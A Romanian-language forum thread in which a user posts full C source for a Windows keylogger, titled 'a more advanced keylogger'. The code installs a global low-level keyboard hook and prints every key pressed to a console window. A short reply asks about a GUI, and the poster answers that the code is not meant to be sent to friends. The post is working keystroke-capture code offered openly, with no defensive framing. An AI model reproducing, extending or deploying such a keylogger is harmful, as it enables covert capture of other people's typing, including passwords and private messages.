Jump to content
SlicK

Alt Keylogger

Recommended Posts

Posted

Un Keylogger putin mai avansat...

Windows NT/2k/XP


#include <windows.h>
#include <winuser.h>
#include <stdio.h>

HHOOK hKeyHook; // hook`ul

// Acesta functia este exportata din executabil la fel ca o functie care face parte dintr-in dll
__declspec(dllexport) LRESULT CALLBACK KeyEvent(int nCode,WPARAM wParam,LPARAM lParam)
{
if((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
{
KBDLLHOOKSTRUCT hooked=*((KBDLLHOOKSTRUCT*)lParam); // diverse informatii despre tasta apasata
DWORD dwMsg=1;
dwMsg+=hooked.scanCode<<16;
dwMsg+=hooked.flags <<24;
char lpszName[0x100] = {0};
lpszName[0] = '[';
int i=GetKeyNameText(dwMsg,(lpszName+1),0xFF)+1; //traduce tasta apasata dintr-un cod intr-un caracter
lpszName[i] = ']';

printf(lpszName); // facem ce vrem cu caracterul tastei apasate (in acest caz il tiparim)
}
return CallNextHookEx(hKeyHook,nCode,wParam,lParam);
}

// un ciclu de mesaje folosit ca sa blocheze executia cat timp sunt logate tastele
void MsgLoop()
{
MSG message;
while(GetMessage(&message,NULL,0,0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
}

// instaleaza hook`ul si incepe ciclul pentru capturarea tastelor apasate
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
HINSTANCE hExe=GetModuleHandle(NULL);
if (!hExe) hExe=LoadLibrary((LPCSTR) lpParameter);
if (!hExe) return 1; // eroare, iesim din program
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe,0); // instalam hook`ul
MsgLoop(); // asteptam apasarea tastelor
UnhookWindowsHookEx(hKeyHook); // dezinstalam hook`ul
return 0;
}

int main(int argc, char** argv)
{
HANDLE hThread;
DWORD dwThread;
DWORD exThread;

hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID) argv[0], 0, &dwThread); // incepem functia de logging intr-un alt thread
if(hThread)
{
return WaitForSingleObject(hThread,INFINITE);
}
else
{
return 1;
}
}

Posted

nici eu nu stiu c++ dar iti zic asa... tu ai pus codul, dar butoane si boxuri ai facut? nu cred ca se fac automat.

te intreb asta pt ca ai zis ca iti apare o fereastra gri.

EDIT

daca am gresit cu ceva corectati-ma!

Posted

Nu am zis nicaieri ca acest cod poate fi compilat si apoi trimis la prieteni :)

La rulare ar trebui sa sara o fereastra de DOS unde apar toate tastele apasate sau ma rog numele dat de "GetKeyNameText()"

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...